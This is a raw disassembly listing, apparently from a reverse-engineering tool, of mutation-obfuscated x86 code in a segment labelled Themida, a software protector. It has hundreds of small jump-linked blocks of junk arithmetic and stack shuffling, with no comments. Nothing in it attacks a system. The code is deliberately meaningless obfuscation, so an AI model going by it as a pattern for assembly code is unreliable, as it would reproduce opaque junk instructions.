jmp loc_5615B3
; ---------------------------------------------------------------------------
loc_55F739: ; CODE XREF: Themida_:00560F06j
sub eax, edx
mov edx, [esp]
add esp, 4
push ecx
mov ecx, 201C18E0h
shr ecx, 8
add ecx, 23AB1F9Fh
add eax, ecx
mov ecx, [esp]
add esp, 4
not eax
jmp loc_56831E
; ---------------------------------------------------------------------------
push edx
mov edx, 494B5161h
sub edx, 1
xchg edi, edx
xchg ecx, edi
not ecx
jmp loc_56F357
; ---------------------------------------------------------------------------
loc_55F77C: ; CODE XREF: Themida_:0056582Fj
xor eax, [esp]
mov esp, [esp]
push ecx
jmp loc_572773
; ---------------------------------------------------------------------------
loc_55F788: ; CODE XREF: Themida_:0056A801j
push ebp
mov ebp, 74857B8Fh
jmp loc_56C1E0
; ---------------------------------------------------------------------------
loc_55F793: ; CODE XREF: Themida_:00564564j
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub esp, 4
mov [esp], ecx
mov ecx, esp
push edi
mov edi, 4
add ecx, 2EC36A97h
add ecx, 5FE15F1Eh
add ecx, edi
sub ecx, 5FE15F1Eh
jmp loc_56633E
; ---------------------------------------------------------------------------
loc_55F7C8: ; CODE XREF: Themida_:0056EF22j
mov [esp], esi
mov esi, 4
add ecx, esi
pop esi
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, 44F36653h
add [esp+4], ebp
pop ebp
add dword ptr [esp], 0F283187h
add dword ptr [esp], 72AE0997h
add [esp], eax
push esi
mov esi, 72AE0997h
sub [esp+4], esi
mov esi, [esp]
add esp, 4
jmp loc_57249E
; ---------------------------------------------------------------------------
loc_55F820: ; CODE XREF: Themida_:00568A31j
xor edi, [esp]
jmp loc_57187A
; ---------------------------------------------------------------------------
loc_55F828: ; CODE XREF: Themida_:00568240j
sub ax, bx
sub ax, 2510h
mov bx, [esp]
add esp, 2
push edi
push esp
pop edi
add edi, 4
sub edi, 2
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55D843
; ---------------------------------------------------------------------------
loc_55F856: ; CODE XREF: Themida_:0056C33Ej
push ebp
mov ebp, 4AF0466Fh
jmp loc_568584
; ---------------------------------------------------------------------------
loc_55F861: ; CODE XREF: Themida_:00562518j
push ebx
push edx
jmp loc_564F60
; ---------------------------------------------------------------------------
loc_55F868: ; CODE XREF: Themida_:0056723Dj
sub ebx, 4
jmp loc_564307
; ---------------------------------------------------------------------------
loc_55F870: ; CODE XREF: Themida_:0056774Cj
xor esi, 830B9D15h
mov ebx, esi
pop esi
jmp loc_56C8F9
; ---------------------------------------------------------------------------
loc_55F87E: ; CODE XREF: Themida_:00564508j
push edi
mov edi, 28BD6708h
not edi
not edi
sub edi, 0D6DF9F33h
jmp loc_565486
; ---------------------------------------------------------------------------
loc_55F893: ; CODE XREF: Themida_:00560EF5j
mov ecx, [esp]
add esp, 4
sub edx, 9D9EAC9Dh
jmp loc_5640D0
; ---------------------------------------------------------------------------
loc_55F8A4: ; CODE XREF: Themida_:00568B90j
sub ebx, 20BE4E5Eh
jmp loc_570586
; ---------------------------------------------------------------------------
loc_55F8AF: ; CODE XREF: Themida_:0056C135j
mov esp, [esp]
shl dword ptr [esp], cl
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55F8BA: ; CODE XREF: Themida_:0056E9CBj
xor eax, 10886h
sub ebx, eax
pop eax
xchg ebx, [esp]
mov esp, [esp]
mov [esp], eax
push 39BEh
jmp loc_571004
; ---------------------------------------------------------------------------
loc_55F8D5: ; CODE XREF: Themida_:00572AA5j
sub edi, ebx
add edi, 41472010h
jmp loc_55E7D9
; ---------------------------------------------------------------------------
loc_55F8E2: ; CODE XREF: Themida_:0055E4EEj
pop edi
add edi, 4
push eax
mov eax, 7A201728h
jmp loc_56BFFC
; ---------------------------------------------------------------------------
loc_55F8F4: ; CODE XREF: Themida_:005682DEj
pop ecx
jmp loc_55F16E
; ---------------------------------------------------------------------------
loc_55F8FA: ; CODE XREF: Themida_:0056E303j
shr cl, 6
sub cl, 16h
shl cl, 5
shl cl, 6
push bx
push edx
mov dh, cl
mov bh, dh
pop edx
not bh
sub esp, 4
mov [esp], eax
push edx
mov dh, bh
jmp loc_56E603
; ---------------------------------------------------------------------------
loc_55F91E: ; CODE XREF: Themida_:005725CDj
pop eax
or ebp, 550314B2h
push 356Fh
mov [esp], ecx
mov ecx, 3F903986h
jmp loc_55F4F5
; ---------------------------------------------------------------------------
loc_55F937: ; CODE XREF: Themida_:0056C5F7j
sub eax, esi
jmp loc_56E89E
; ---------------------------------------------------------------------------
loc_55F93E: ; CODE XREF: Themida_:005674CCj
pop ebp
push esi
jmp loc_56AE20
; ---------------------------------------------------------------------------
loc_55F945: ; CODE XREF: Themida_:00565AA8j
mov [esp], ecx
mov cl, 2Fh
add cl, 79h
jmp loc_56F6F8
; ---------------------------------------------------------------------------
loc_55F952: ; CODE XREF: Themida_:00565BEBj
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55F95E: ; CODE XREF: Themida_:00567E11j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_562D1A
; ---------------------------------------------------------------------------
loc_55F972: ; CODE XREF: Themida_:00562832j
xor edx, 97F88626h
push 64EDh
mov [esp], edi
mov edi, edx
mov ecx, edi
pop edi
mov edx, [esp]
add esp, 4
sub ecx, 11E6A489h
sub eax, ecx
pop ecx
push ebx
jmp loc_56C893
; ---------------------------------------------------------------------------
loc_55F99A: ; CODE XREF: Themida_:0055FF7Ej
add edx, 4
push 4578h
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_56C62B
; ---------------------------------------------------------------------------
loc_55F9B2: ; CODE XREF: Themida_:00568287j
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
jmp loc_56050E
; ---------------------------------------------------------------------------
loc_55F9C0: ; CODE XREF: Themida_:0056B9FAj
push dword ptr [esp]
pop edx
push edx
push esp
pop edx
add edx, 4
push edi
push 4
mov edi, [esp]
add esp, 4
add edx, 22E93CD9h
add edx, edi
sub edx, 22E93CD9h
jmp loc_567CC2
; ---------------------------------------------------------------------------
loc_55F9EC: ; CODE XREF: Themida_:00568AE8j
pop ebp
jmp loc_56CE5E
; ---------------------------------------------------------------------------
loc_55F9F2: ; CODE XREF: Themida_:0056185Cj
push ebp
mov ebp, 824BBF93h
mov edx, ebp
pop ebp
mov ebp, edx
jmp loc_57089C
; ---------------------------------------------------------------------------
loc_55FA02: ; CODE XREF: Themida_:00561C54j
dec esi
jmp loc_55F720
; ---------------------------------------------------------------------------
loc_55FA08: ; CODE XREF: Themida_:00567E65j
mov ebx, [esp]
add esp, 4
add ebx, 4
sub esp, 4
mov [esp], eax
push ebx
push 1D051F91h
pop ebx
push ebp
mov ebp, 0C692F69h
and ebp, 1E6B2A33h
xor ebp, 1B4456A9h
push edi
mov edi, 740B2354h
or ebp, edi
pop edi
push ecx
jmp loc_56FA2D
; ---------------------------------------------------------------------------
loc_55FA42: ; CODE XREF: Themida_:00566C80j
push dword ptr [edi+eax*4]
push eax
push 37C6h
mov [esp], edi
mov edi, 125E1FDBh
sub esp, 4
mov [esp], esi
mov esi, 113924ABh
jmp loc_572803
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_569733
; ---------------------------------------------------------------------------
loc_55FA6C: ; CODE XREF: Themida_:00567534j
sub esi, eax
pop eax
jmp loc_55E921
; ---------------------------------------------------------------------------
loc_55FA74: ; CODE XREF: Themida_:00567AC4j
xor edx, [esp]
pop esp
mov cx, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push ebp
jmp loc_5721B8
; ---------------------------------------------------------------------------
loc_55FA8A: ; CODE XREF: Themida_:0056664Bj
mov ebx, 1D74EE7h
sub esi, 6EC56333h
add esi, ebx
add esi, 6EC56333h
pop ebx
push edx
push ebx
mov ebx, 4CB21933h
jmp loc_570918
; ---------------------------------------------------------------------------
loc_55FAAA: ; CODE XREF: Themida_:0056EF3Aj
shl edi, 2
add edi, 459014E0h
or edi, 5683CD3h
jmp loc_56A539
; ---------------------------------------------------------------------------
loc_55FABE: ; CODE XREF: Themida_:0056059Bj
pop ebp
sub esp, 4
jmp loc_5652BB
; ---------------------------------------------------------------------------
loc_55FACA: ; CODE XREF: Themida_:0056B3C1j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55FACF: ; CODE XREF: Themida_:0056875Dj
mov ebx, 1E296B0Dh
or ebx, 1BD06C07h
not ebx
neg ebx
shr ebx, 7
not ebx
xor ebx, 0B561B5Fh
add esi, ebx
pop ebx
sub ecx, esi
pop esi
push 5473h
mov [esp], ecx
push dword ptr [esp+4]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push edi
mov edi, esp
push ecx
mov ecx, 4B332CFCh
shr ecx, 7
add ecx, 0FF6999ABh
add edi, ecx
jmp loc_570BB5
; ---------------------------------------------------------------------------
loc_55FB1D: ; CODE XREF: Themida_:0056FF25j
push 1D2B01C9h
pop edx
xor edx, 6A9667Dh
sub esp, 4
mov [esp], esi
mov esi, 0E683D22h
sub edx, esi
pop esi
jmp loc_561E27
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55FB4E: ; CODE XREF: Themida_:00567D57j
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_55D413
; ---------------------------------------------------------------------------
loc_55FB5A: ; CODE XREF: Themida_:0056A7FAj
xchg eax, [esp]
pop esp
jmp loc_5711BA
; ---------------------------------------------------------------------------
loc_55FB63: ; CODE XREF: Themida_:0056727Dj
shl ebp, 8
shr ebp, 6
push eax
mov eax, 50C348F2h
push edi
mov edi, 247C092Dh
jmp loc_5609F7
; ---------------------------------------------------------------------------
loc_55FB7A: ; CODE XREF: Themida_:00561982j
neg bl
add bl, 4Dh
xor bl, 42h
and bl, 0A8h
add bl, 0E6h
sub ch, bl
jmp loc_572400
; ---------------------------------------------------------------------------
loc_55FB8F: ; CODE XREF: Themida_:0055DD14j
xchg esi, [esp]
mov esp, [esp]
xchg eax, [esp]
pop esp
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55FB9E: ; CODE XREF: Themida_:005677B4j
pop esi
jmp loc_56B4AE
; ---------------------------------------------------------------------------
loc_55FBA4: ; CODE XREF: Themida_:005644C8j
mov ecx, 0FA7FEF70h
add ebx, ecx
pop ecx
sub ecx, 68102EA1h
add ecx, ebx
push edi
jmp loc_5613A8
; ---------------------------------------------------------------------------
loc_55FBBA: ; CODE XREF: Themida_:0056E1B3j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
xor edx, 47893CCFh
jmp loc_5638C3
; ---------------------------------------------------------------------------
loc_55FBD8: ; CODE XREF: Themida_:00562641j
xor esi, ebp
pop ebp
shl esi, 4
or esi, 64185614h
jmp loc_564679
; ---------------------------------------------------------------------------
loc_55FBE9: ; CODE XREF: Themida_:0056E4B8j
mov ecx, 4763298Dh
xor ecx, 679C4CD5h
mov edi, ecx
jmp loc_5680E2
; ---------------------------------------------------------------------------
loc_55FBFB: ; CODE XREF: Themida_:0056451Ej
inc edi
jmp loc_5662B6
; ---------------------------------------------------------------------------
loc_55FC01: ; CODE XREF: Themida_:00570F05j
push eax
jmp loc_56F85C
; ---------------------------------------------------------------------------
loc_55FC07: ; CODE XREF: Themida_:00568259j
pop edx
sub esp, 4
mov [esp], ebp
jmp loc_563694
; ---------------------------------------------------------------------------
loc_55FC13: ; CODE XREF: Themida_:0055F41Dj
pop esi
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
shr byte ptr [esp], cl
pushf
jmp loc_56355A
; ---------------------------------------------------------------------------
loc_55FC29: ; CODE XREF: Themida_:005666E4j
mov ebp, 52665AE7h
shl ebp, 1
sub ebp, 405E0636h
neg ebp
inc ebp
sub ebp, 7A6711D6h
jmp loc_562841
; ---------------------------------------------------------------------------
loc_55FC44: ; CODE XREF: Themida_:00571ACBj
mov esp, [esp]
mov [esp], eax
mov eax, 0
push ebp
mov ebp, 92346D6h
neg ebp
add ebp, 31266923h
add ebp, 0F1DC48ADh
add eax, ebp
jmp loc_56FD27
; ---------------------------------------------------------------------------
loc_55FC6A: ; CODE XREF: Themida_:005682EDj
mov ax, [esp]
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
pop eax
push 24D6h
mov [esp], ecx
push ebp
mov ebp, 7B9872F0h
mov ecx, 7B9872F4h
add ecx, 58504282h
sub ecx, ebp
sub ecx, 58504282h
pop ebp
add eax, ecx
push dword ptr [esp]
jmp loc_560975
; ---------------------------------------------------------------------------
loc_55FCB5: ; CODE XREF: Themida_:005675D5j
mov [esp], ebx
mov ebx, 363B02E2h
mov eax, ebx
pop ebx
xor eax, 7CD54AABh
jmp loc_5696A9
; ---------------------------------------------------------------------------
loc_55FCCA: ; CODE XREF: Themida_:0056B5D7j
push 7027h
mov [esp], esi
mov esi, 4E0D3DCBh
jmp loc_55D4B0
; ---------------------------------------------------------------------------
loc_55FCDC: ; CODE XREF: Themida_:005717DBj
add esi, 36A2957h
sub esi, 1F8A832Fh
add edi, esi
pop esi
and edi, 1FDA1D80h
add edi, 604DFD5Bh
sub esi, 6C0B0F9Fh
jmp loc_564D83
; ---------------------------------------------------------------------------
loc_55FD02: ; CODE XREF: Themida_:0056FC5Ej
dec al
jmp loc_56DAE8
; ---------------------------------------------------------------------------
loc_55FD09: ; CODE XREF: Themida_:0056FDFBj
inc edi
jmp loc_561F91
; ---------------------------------------------------------------------------
loc_55FD0F: ; CODE XREF: Themida_:0057139Dj
xor edx, [esp]
mov esp, [esp]
xor ebx, eax
pop small word ptr [eax]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55FD1F: ; CODE XREF: Themida_:0055EE3Cj
sub esi, 46136B7Eh
add esi, 5A594495h
add eax, esi
pop esi
jmp loc_564735
; ---------------------------------------------------------------------------
loc_55FD33: ; CODE XREF: Themida_:0055F235j
inc esi
xchg esi, ecx
shl ecx, 5
push 4C4Ah
mov [esp], ebp
mov ebp, 0CBDA57B0h
add ecx, ebp
jmp loc_5699A4
; ---------------------------------------------------------------------------
loc_55FD4D: ; CODE XREF: Themida_:0056BAF8j
mov eax, 0FA24B82h
add eax, 36A90B11h
neg eax
sub eax, 17A736E2h
neg eax
sub eax, 6DC85BD4h
jmp loc_562740
; ---------------------------------------------------------------------------
loc_55FD6A: ; CODE XREF: Themida_:005643E7j
pop cx
jmp loc_5679B7
; ---------------------------------------------------------------------------
loc_55FD71: ; CODE XREF: Themida_:005713C5j
or [edi+1Ch], ebx
mov ebx, [esp]
jmp loc_56A249
; ---------------------------------------------------------------------------
loc_55FD7C: ; CODE XREF: Themida_:0056F8C1j
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push 660Bh
mov [esp], ecx
mov cl, 37h
not cl
neg cl
not cl
add cl, 23h
jmp loc_55DC1F
; ---------------------------------------------------------------------------
loc_55FD9D: ; CODE XREF: Themida_:0056F24Cj
sub ebp, esi
jmp loc_56DF73
; ---------------------------------------------------------------------------
loc_55FDA4: ; CODE XREF: Themida_:0056F9B7j
add esi, eax
jmp loc_5698EA
; ---------------------------------------------------------------------------
loc_55FDAB: ; CODE XREF: Themida_:0057086Ej
pop eax
jmp loc_56DB58
; ---------------------------------------------------------------------------
loc_55FDB1: ; CODE XREF: Themida_:00565773j
pop ecx
push edi
mov edi, esp
jmp loc_564B8C
; ---------------------------------------------------------------------------
loc_55FDBA: ; CODE XREF: Themida_:0056FA8Ej
mov eax, 3041777Fh
and ebp, eax
pop eax
push esi
mov esi, 431F59F9h
jmp loc_5600B3
; ---------------------------------------------------------------------------
loc_55FDCD: ; CODE XREF: Themida_:00571234j
pop esp
push dword ptr [esp]
pop ecx
push 7AFEh
mov [esp], ecx
mov ecx, esp
add ecx, 4
push edx
mov edx, 4
add ecx, edx
jmp loc_56F53D
; ---------------------------------------------------------------------------
loc_55FDEF: ; CODE XREF: Themida_:0055D847j
push 34B6h
mov [esp], ecx
jmp loc_569FC9
; ---------------------------------------------------------------------------
loc_55FDFC: ; CODE XREF: Themida_:005687F9j
mov ebp, [esp]
add esp, 4
add eax, esi
sub eax, 59243870h
jmp loc_564342
; ---------------------------------------------------------------------------
loc_55FE0E: ; CODE XREF: Themida_:0055DD5Bj
sub ebp, 0FFFFFFFFh
sub esp, 4
mov [esp], ecx
mov ecx, 575030D6h
and ebp, ecx
pop ecx
add ebp, 28F16B1Ah
push edx
push ebx
push eax
mov eax, 4F5957F2h
push edx
mov edx, 0BCC2EFCBh
mov ebx, edx
pop edx
add ebx, eax
pop eax
sub esp, 4
mov [esp], esi
mov esi, 0FA375941h
mov edx, esi
pop esi
jmp loc_5707D2
; ---------------------------------------------------------------------------
loc_55FE52: ; CODE XREF: Themida_:0056659Cj
xor ecx, 360E365h
sub edx, ecx
pop ecx
xchg edx, [esp]
mov esp, [esp]
mov [esp], esi
mov esi, 5DFA2FEFh
or esi, 68725949h
jmp loc_56BC8F
; ---------------------------------------------------------------------------
loc_55FE74: ; CODE XREF: Themida_:005709ACj
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55DF3C
; ---------------------------------------------------------------------------
loc_55FE7F: ; CODE XREF: Themida_:0056473Bj
xchg eax, [esp]
pop esp
sub esp, 4
jmp loc_571E41
; ---------------------------------------------------------------------------
loc_55FE8E: ; CODE XREF: Themida_:0056644Ej
xor edi, [esp]
pop esp
jmp loc_572B45
; ---------------------------------------------------------------------------
loc_55FE97: ; CODE XREF: Themida_:0056464Aj
push esi
mov esi, 67462205h
and ebx, esi
pop esi
not ebx
neg ebx
add ebx, 1C061E18h
shl ebx, 1
push edi
mov edi, 59C08D25h
add ebx, edi
pop edi
xor esi, ebx
pop ebx
add esi, 41E57015h
mov ebp, esi
pop esi
shr ebp, 2
shr ebp, 5
or ebp, 74F95822h
inc ebp
sub ebp, 74FB7EA0h
sub edx, 73A761Ah
sub edx, 292E408Ah
jmp loc_571C5B
; ---------------------------------------------------------------------------
loc_55FEE5: ; CODE XREF: Themida_:00568D4Cj
mov [esp], eax
jmp loc_5604F9
; ---------------------------------------------------------------------------
loc_55FEED: ; CODE XREF: Themida_:00564EC1j
pop edi
sub eax, 47772822h
jmp loc_55DE25
; ---------------------------------------------------------------------------
loc_55FEF8: ; CODE XREF: Themida_:0056D949j
push 4482h
mov [esp], eax
mov eax, 746A6EB0h
xor eax, 5A3E4A9Ch
sub ebx, eax
pop eax
add ebx, 7B9950F1h
add ebx, edx
sub ebx, 7B9950F1h
add ebx, 2E54242Ch
pop edx
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_568B95
; ---------------------------------------------------------------------------
loc_55FF2D: ; CODE XREF: Themida_:005712DCj
pop esi
add edx, 307E6E10h
add edx, eax
jmp loc_5712E1
; ---------------------------------------------------------------------------
loc_55FF3B: ; CODE XREF: Themida_:00570AC0j
xor ebx, 6C7F36B5h
jmp loc_56A5B9
; ---------------------------------------------------------------------------
loc_55FF46: ; CODE XREF: Themida_:0056A396j
add eax, ebx
add eax, 1B430862h
add [eax], ecx
jmp loc_5650EE
; ---------------------------------------------------------------------------
loc_55FF54: ; CODE XREF: Themida_:0055ED56j
push eax
jmp loc_566D0F
; ---------------------------------------------------------------------------
loc_55FF5A: ; CODE XREF: Themida_:00570F98j
sub ebx, 202F5C0Fh
jmp loc_56725F
; ---------------------------------------------------------------------------
loc_55FF65: ; CODE XREF: Themida_:00570793j
pop ebx
push edx
mov edx, esp
push ecx
mov ecx, 4
sub edx, 366B3EF4h
add edx, ecx
add edx, 366B3EF4h
pop ecx
jmp loc_55F99A
; ---------------------------------------------------------------------------
loc_55FF83: ; CODE XREF: Themida_:0056BC2Cj
sub edi, eax
pop eax
not edi
or edi, 33AD2C6Eh
jmp loc_56C818
; ---------------------------------------------------------------------------
loc_55FF93: ; CODE XREF: Themida_:0056C060j
add edi, eax
sub edi, 2CF25A49h
mov eax, [esp]
add esp, 4
add edi, 0C1D7C74Dh
add ebx, 409856ADh
add ebx, 21CB0164h
sub ebx, 66B1EE8h
add ebx, edi
jmp loc_55E2C6
; ---------------------------------------------------------------------------
loc_55FFC0: ; CODE XREF: Themida_:00569FF8j
mov ecx, edi
pop edi
push ebx
mov ebx, 1F9E7D8Bh
push 2BD6h
mov [esp], ecx
mov ecx, 5952692h
neg ecx
jmp loc_570138
; ---------------------------------------------------------------------------
loc_55FFDD: ; CODE XREF: Themida_:0056241Ej
mov edi, 0B0B029h
xor ebx, edi
pop edi
add esi, ebx
pop ebx
push edi
push eax
push 2C30h
jmp loc_56C2F6
; ---------------------------------------------------------------------------
loc_55FFF4: ; CODE XREF: Themida_:0055E520j
add edi, 0D3DF5F12h
jmp loc_57031E
; ---------------------------------------------------------------------------
loc_55FFFF: ; CODE XREF: Themida_:00564B81j
pop eax
xor eax, 4C5006A1h
add eax, 1
add eax, 0FFFFFFFFh
not eax
sub esp, 4
jmp loc_572161
; ---------------------------------------------------------------------------
loc_56001C: ; CODE XREF: Themida_:00564623j
sub esp, 4
mov [esp], ecx
push 202Ch
mov [esp], ebp
mov ebp, 673F7D55h
push eax
mov eax, 206315Dh
jmp loc_57049E
; ---------------------------------------------------------------------------
loc_56003A: ; CODE XREF: Themida_:0056B8C7j
pop ecx
add ebp, 4
xchg ebp, [esp]
pop esp
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5601EE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_56004D: ; CODE XREF: sub_562A0A+E597j
mov ch, 8Ah
inc ch
shl ch, 1
add ch, 61h
jmp loc_56BE98
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_56005B: ; CODE XREF: Themida_:00570602j
sub edx, 4
jmp loc_56ACA1
; ---------------------------------------------------------------------------
loc_560066: ; CODE XREF: Themida_:00564380j
xor ebp, 12712F5Bh
sub esi, ebp
pop ebp
add esi, eax
add esi, 12CF5AE4h
pop eax
add esi, 6D5E609Dh
push esi
sub dword ptr [esp], 50EC50ACh
jmp loc_569426
; ---------------------------------------------------------------------------
loc_56008B: ; CODE XREF: Themida_:0056813Fj
not ecx
jmp loc_568415
; ---------------------------------------------------------------------------
loc_560092: ; CODE XREF: Themida_:005648DCj
xor ebp, edx
mov edx, [esp]
add esp, 4
add edx, ebp
pop ebp
add edx, 2
push 6C59h
mov [esp], edx
jmp loc_56F431
; ---------------------------------------------------------------------------
loc_5600B3: ; CODE XREF: Themida_:0055FDC8j
or ebp, esi
mov esi, [esp]
add esp, 4
push eax
mov eax, 2AAB4D39h
inc eax
jmp loc_562369
; ---------------------------------------------------------------------------
loc_5600C7: ; CODE XREF: Themida_:00564820j
mov ebp, [esp]
jmp loc_56D629
; ---------------------------------------------------------------------------
loc_5600CF: ; CODE XREF: Themida_:0055E0E4j
push ebx
jmp loc_57244F
; ---------------------------------------------------------------------------
loc_5600D5: ; CODE XREF: Themida_:005620D9j
sub al, 48h
jmp loc_56C55D
; ---------------------------------------------------------------------------
loc_5600DC: ; CODE XREF: Themida_:00561CC1j
sub ebp, 61926375h
add ebp, eax
jmp loc_55F0E7
; ---------------------------------------------------------------------------
loc_5600E9: ; CODE XREF: Themida_:005606A2j
push ecx
mov ecx, 0B5912E4h
sub ecx, 6FD867C1h
jmp loc_56794B
; ---------------------------------------------------------------------------
loc_5600FA: ; CODE XREF: Themida_:0056A0D6j
shr edi, 4
jmp loc_560A8E
; ---------------------------------------------------------------------------
loc_560102: ; CODE XREF: Themida_:00571271j
sub eax, edi
pop edi
mov ebx, [esp]
add esp, 4
push 1E50h
mov [esp], esi
mov esi, 11C02CC2h
sub eax, 47722C24h
sub eax, 7381A14h
push 522Dh
mov [esp], edi
mov edi, 5C435BE5h
jmp loc_5728EF
; ---------------------------------------------------------------------------
loc_560137: ; CODE XREF: Themida_:00572B38j
mov dl, 1Fh
jmp loc_5676A8
; ---------------------------------------------------------------------------
loc_56013E: ; CODE XREF: Themida_:0056FD02j
push eax
push 39D752C3h
pop eax
mov edi, eax
push dword ptr [esp]
pop eax
add esp, 4
push eax
mov eax, 2D6D6AE9h
xor eax, 729A304Fh
xor eax, 18795422h
sub eax, 2E6AEFEAh
add edi, eax
pop eax
dec edi
jmp loc_56F251
; ---------------------------------------------------------------------------
loc_56016C: ; CODE XREF: Themida_:00569A1Fj
add esp, 4
add edx, edi
sub esp, 4
mov [esp], ebp
jmp loc_5670C8
; ---------------------------------------------------------------------------
loc_56017F: ; CODE XREF: Themida_:0055E96Dj
push dword ptr [esp]
jmp loc_56B728
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56018F: ; CODE XREF: Themida_:00563922j
push eax
mov eax, 6E086131h
sub ebp, eax
pop eax
xor ebp, 34DD0703h
push ecx
mov ecx, 7C035B08h
xor ecx, 78F70E75h
add ecx, 1250587Dh
shr ecx, 1
or ecx, 66176BDFh
jmp loc_56C405
; ---------------------------------------------------------------------------
loc_5601BD: ; CODE XREF: Themida_:0056DC6Cj
add esp, 4
sub eax, 0D577E81Fh
add ecx, 4DD22679h
sub ecx, eax
sub ecx, 4DD22679h
mov eax, [esp]
add esp, 4
mov ebp, [esp]
jmp loc_571B4A
; ---------------------------------------------------------------------------
loc_5601E4: ; CODE XREF: Themida_:00567F15j
push 6A4Ah
jmp loc_57163F
; ---------------------------------------------------------------------------
loc_5601EE: ; CODE XREF: Themida_:00560048j
or ecx, ecx
jz loc_56C637
push ebp
push esp
pop ebp
push edx
mov edx, 3A2A3283h
shl edx, 7
sub edx, 8453C37h
jmp loc_561077
; ---------------------------------------------------------------------------
loc_56020D: ; CODE XREF: Themida_:005712BBj
push ebp
jmp loc_5698DD
; ---------------------------------------------------------------------------
loc_560213: ; CODE XREF: Themida_:00562D4Dj
mov eax, 116C4BE6h
and eax, 3F777C47h
neg eax
jmp loc_5656D7
; ---------------------------------------------------------------------------
loc_560224: ; CODE XREF: Themida_:0055D35Fj
pop esp
push ebx
mov ebx, esp
push esi
push 1ACh
mov [esp], edx
mov edx, 77753B66h
and edx, 3EF94D47h
jmp loc_5653B6
; ---------------------------------------------------------------------------
loc_560241: ; CODE XREF: Themida_:0056C30Cj
neg ebp
jmp loc_55E85A
; ---------------------------------------------------------------------------
loc_560248: ; CODE XREF: Themida_:0056AE1Bj
and ebx, 1D6F3568h
sub ebx, 1
jmp loc_5717C0
; ---------------------------------------------------------------------------
loc_560256: ; CODE XREF: Themida_:0056620Fj
add ebx, 4
jmp loc_56789D
; ---------------------------------------------------------------------------
loc_560261: ; CODE XREF: Themida_:00569B8Dj
mov esi, 2
jmp loc_56BA26
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov edx, [esp]
push esi
push esp
jmp loc_56E01C
; ---------------------------------------------------------------------------
loc_560278: ; CODE XREF: Themida_:0056DED5j
mov esp, [esp]
jmp loc_562737
; ---------------------------------------------------------------------------
loc_560280: ; CODE XREF: Themida_:0056B892j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_560285: ; CODE XREF: Themida_:005688E5j
push ebx
mov ebx, 4
add eax, ebx
pop ebx
push esi
jmp loc_55E6C2
; ---------------------------------------------------------------------------
loc_560294: ; CODE XREF: Themida_:005702C5j
pop esi
xor esi, 90029ACh
mov ecx, esi
pop esi
jmp loc_55DEB6
; ---------------------------------------------------------------------------
loc_5602A3: ; CODE XREF: Themida_:00572575j
mov [esp], esi
mov esi, 2DD04D0Ch
add dword ptr [esp+4], 7445603Dh
sub [esp+4], esi
sub dword ptr [esp+4], 7445603Dh
jmp loc_56E863
; ---------------------------------------------------------------------------
loc_5602C4: ; CODE XREF: Themida_:00571A3Aj
pop esp
jmp loc_5667FA
; ---------------------------------------------------------------------------
loc_5602CA: ; CODE XREF: Themida_:005642D4j
push 6C094F01h
pop esi
sub ebx, esi
pop esi
add ebx, eax
jmp loc_56B194
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562A0A
loc_5602DA: ; CODE XREF: sub_562A0A-18C1j
mov ebp, esp
jmp loc_5703C1
; END OF FUNCTION CHUNK FOR sub_562A0A
; ---------------------------------------------------------------------------
loc_5602E1: ; CODE XREF: Themida_:0056CA24j
push dword ptr [esp]
pop eax
add esp, 4
xor eax, 30621BB8h
jmp loc_56907E
; ---------------------------------------------------------------------------
loc_5602F2: ; CODE XREF: Themida_:0056A069j
sub eax, esi
pop esi
push ecx
mov ecx, 132950E0h
sub eax, ecx
pop ecx
sub eax, 3C220F9Dh
sub eax, ebp
jmp loc_56D293
; ---------------------------------------------------------------------------
loc_56030A: ; CODE XREF: Themida_:0056DAB6j
push 6E88h
mov [esp], ebx
jmp loc_566E52
; ---------------------------------------------------------------------------
loc_560317: ; CODE XREF: Themida_:0056344Bj
mov ch, [esp]
jmp loc_56BC31
; ---------------------------------------------------------------------------
loc_56031F: ; CODE XREF: Themida_:005633E9j
add edx, ebx
jmp loc_562585
; ---------------------------------------------------------------------------
loc_560326: ; CODE XREF: Themida_:0056848Fj
neg edx
add edx, 4F87049Dh
dec edx
sub edx, 576E4905h
mov esi, edx
pop edx
add ebx, esi
jmp loc_5606EE
; ---------------------------------------------------------------------------
loc_56033F: ; CODE XREF: Themida_:00564A5Cj
mov ebp, esp
add ebp, 4
jmp loc_564CBA
; ---------------------------------------------------------------------------
